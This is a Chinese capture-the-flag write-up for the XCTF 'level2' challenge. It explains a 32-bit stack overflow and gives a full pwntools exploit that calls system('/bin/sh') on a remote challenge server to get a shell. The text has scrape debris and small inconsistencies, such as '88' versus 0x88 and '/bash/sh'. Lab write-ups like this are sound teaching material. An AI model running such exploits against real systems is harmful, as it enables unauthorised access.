day-7 xctf-level2

xctf-level2

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055shell

拿到题目,查看一下相关信息:32位,开启了NXbash

 

 

 

放入ida查看:ide

 

 

 代码比较简单,进入vulnerable_function()查看,程序的功能是输入一段文字,显示Hello World!函数

 

 

 

 咱们能够经过read函数,溢出到callsystem的位置,执行ststem('/bash/sh'),拿到shell权限spa

唔,这里附带一个连接知识:http://www.javashuo.com/article/p-chdbaiyn-nq.html.net

咱们能够知道,payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addrdebug

根据这个公式,offset为88,咱们只为了取得shell,ret_add随便写就好了,须要找到sys_addr和sh_addr的地址code

查找知识,看到这个寻找的方法:blog

sys_addr = elf.symbols['system']

sh_addr = elf.search('/bin/sh').next()

这样就能够写exp了:utf-8

# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'debug'

#cnn = process('./level2')
cnn = remote('111.198.29.45',52271)

elf = ELF('./level2')

system_addr = elf.symbols['system']

binsh_addr = elf.search('/bin/sh').next()

payload = 'a'*0x88+'a'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr)


cnn.sendlineafter('Input:',payload)

cnn.interactive()
exp

经过ls命令,而后cat flag就能得到flag

 

 

 

 

总结:推荐一波小知识:http://www.javashuo.com/article/p-chdbaiyn-nq.html

// 伪代码
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
 ---> ESP                                
        buf[128]                  
        EBP                       
        return                        //-->fake_addr_A
        arg_b1                        //-->4006b0  addr_pop_pop_ret
        arg_b2  arg_a1         //pop r14 
        arg_b3    arg_a2       //pop r15
        ret                           // --->fake_addr_C
        0                                 // --->C的返回地址,如今没用了
        arg_c1
        arg_c2
  -->EBP
NX利用结构
相关文章
相关标签/搜索